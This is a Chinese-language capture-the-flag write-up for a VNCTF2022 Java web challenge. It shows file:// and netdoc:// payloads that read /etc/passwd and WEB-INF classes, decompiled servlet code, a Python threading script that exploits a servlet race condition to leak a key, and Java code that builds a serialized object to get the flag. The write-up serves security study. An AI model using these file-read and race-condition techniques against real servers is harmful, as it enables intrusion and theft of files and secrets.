输入 /file?url = 1报错
用伪协议可以读取到内容
/file?url=file:///etc/passwd
file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF
这里官方给了另外一个协议netdoc,跟file用法是一样的,但是这个netdoc协议在jdk9以后就不能用了
file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF
以下为读文件的payload
file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes
controller
entity
User.class
servlet
FileServlet.class
HelloWorldServlet.class
util
Secr3t.class
SerAndDe.class
UrlUtil.class
file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/servlet/FileServlet.class
file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/servlet/HelloWorldServlet.class
读到的文件 可以jd-gui 反编译,也可以用网上的在线工具:JAVA反向工程网 (javare.cn)
也可以用IDeA
HelloWorldServlet.class
package servlet;
import entity.User;
import java.io.IOException;
import java.util.Base64;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import util.Secr3t;
import util.SerAndDe;
@WebServlet(name = "HelloServlet", urlPatterns = {"/evi1"})
public class HelloWorldServlet extends HttpServlet {
private volatile String age = "666";
private volatile String height = "180";
private volatile String name = "m4n_q1u_666";
User user;
public void init() throws ServletException {
this.user = new User(this.name, this.age, this.height);
}
/* access modifiers changed from: protected */
public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String reqName = req.getParameter("name");
if (reqName != null) {
this.name = reqName;
}
if (Secr3t.check(this.name)) {
Response(resp, "no vnctf2022!");
} else if (Secr3t.check(this.name)) {
Response(resp, "The Key is " + Secr3t.getKey());
}
}
/* access modifiers changed from: protected */
public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String key = req.getParameter("key");
String text = req.getParameter("base64");
if (!Secr3t.getKey().equals(key) || text == null) {
Response(resp, "KeyError");
return;
}
if (this.user.equals((User) SerAndDe.deserialize(Base64.getDecoder().decode(text)))) {
Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
}
}
private void Response(HttpServletResponse resp, String outStr) throws IOException {
ServletOutputStream out = resp.getOutputStream();
out.write(outStr.getBytes());
out.flush();
out.close();
}
}
主要看 hello.class 中的doPOst方法:
这里可以getFlag。但是需要满足Key相同,且另一个是反序列化一个一样的user对象
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String key = req.getParameter("key");
String text = req.getParameter("base64");
if (Secr3t.getKey().equals(key) && text != null) {
Decoder decoder = Base64.getDecoder();
byte[] textByte = decoder.decode(text);
User u = (User)SerAndDe.deserialize(textByte);
if (this.user.equals(u)) {
this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
}
} else {
this.Response(resp, "KeyError");
}
}
先获取KEY,调用的是Secr3t类。
先来看看
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package util;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import org.apache.commons.lang3.RandomStringUtils;
public class Secr3t {
private static final String Key = RandomStringUtils.randomAlphanumeric(32);
private static StringBuffer Flag;
private Secr3t() {
}
public static String getKey() {
return Key;
}
public static StringBuffer getFlag() {
Flag = new StringBuffer();
InputStream in = null;
try {
in = Runtime.getRuntime().exec("/readflag").getInputStream();
} catch (IOException var12) {
var12.printStackTrace();
}
BufferedReader read = new BufferedReader(new InputStreamReader(in));
try {
String line = null;
while((line = read.readLine()) != null) {
Flag.append(line + "\n");
}
} catch (IOException var13) {
var13.printStackTrace();
} finally {
try {
in.close();
read.close();
} catch (IOException var11) {
var11.printStackTrace();
System.out.println("Secr3t : io exception!");
}
}
return Flag;
}
public static boolean check(String checkStr) {
return "vnctf2022".equals(checkStr);
}
}
这里 第二个 if 需要name 不等于 "vnctf2022", 而第三个if 又需要 this.name = "vnctf2022".
矛盾了
这里涉及一个知识点:Servlet的线程安全问题 | Y4tacker's Blog
总结一下
然后回到doGet这里,我们要获取key,就要绕过第一个if,即this.name先不为vnctf2022,然后再下一个if下又为vnctf2022,这里就接触到一个线程安全的漏洞,就是servlet在收到请求的时候不会每次请求都实例化一个对象,这样太消耗资源了,所以servlet处理请求时是在第一次实例化一个类,当后面再次请求的时候会使用之前实例化的那个对象,也就是说相当于多个人同时操作一个对象
而这个this.name 刚好判断的是实例化对象的属性,只要我们在进入第一个if的时候,用另外一个线程让它的name属性不为vnctf2022
,然后当进入第二个线程的时候,在操作它变成vnctf2022
,那不就进入了第二个if条件内吗。
脚本:
import time
import requests
from threading import Thread
url = 'http://01b0fd97-c90e-46e3-8809-b624bb4cfa1d.node4.buuoj.cn:81/evi1'
payload1 = "?name=vnctf2022"
payload2 = "?name=snowy"
ses = requests.session()
def get(session, payload):
while True:
res = session.get(url=url+payload)
print(url+payload)
print(res.text)
if "key" in res.text:
print(res.text)
time.sleep(0.1)
if __name__ == '__main__':
for i in range(2):
Thread(target=get, args=(ses, payload1,)).start()
for j in range(2):
Thread(target=get, args=(ses, payload2,)).start()
The Key is 3wL5Ajzw9ew6WU9AfhIB58GzH4coiCl5
接着就是反序列化的步骤了
继续看到 doPOst方法
看到第一个if
他将text参数进行了base64解码 并且转为了字节流的形式,然后传入SerAndDe.deserialize(),先不去看源码,应该就是一个进行反序列化的操作, 先试着序列化反序列化。用题目自身的代码去执行。
先进行序列化 再进行base64
import entity.User;
import java.util.Base64;
import util.SerAndDe;
public class testSerializable
{
public static void main(String[] args){
User user = new User("snowy","18","180");
Base64.Encoder encoder = Base64.getEncoder();
byte[] textByte = SerAndDe.serialize(user);
String text = encoder.encodeToString(textByte);
System.out.println(text);
}
}
把结果传入url
发现打不通, 要注意的是 这里的User.java 中 height 属性是由 transient修饰的,所以再生成byte的时候需要重写下 writeObject类 否则会将自己的User对象 height为空。
private transient String height;
在User.java
最后加上
private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException{
s.defaultWriteObject();
//强制序列化name
s.writeObject(this.height);
}
参考文献:java-Transient关键字、Volatile关键字介绍和序列化、反序列化机制、单例类序列化_龙吟在天的博客-CSDN博客_volatile 序列化
exp:
import entity.User;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class Exp {
public static void main(String[] args) throws IOException {
User user = new User("m4n_q1u_666","666","180");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(user);
byte[] bytes = byteArrayOutputStream.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String s = encoder.encodeToString(bytes);
System.out.println(s);
}
}
因为环境消失了 更换了key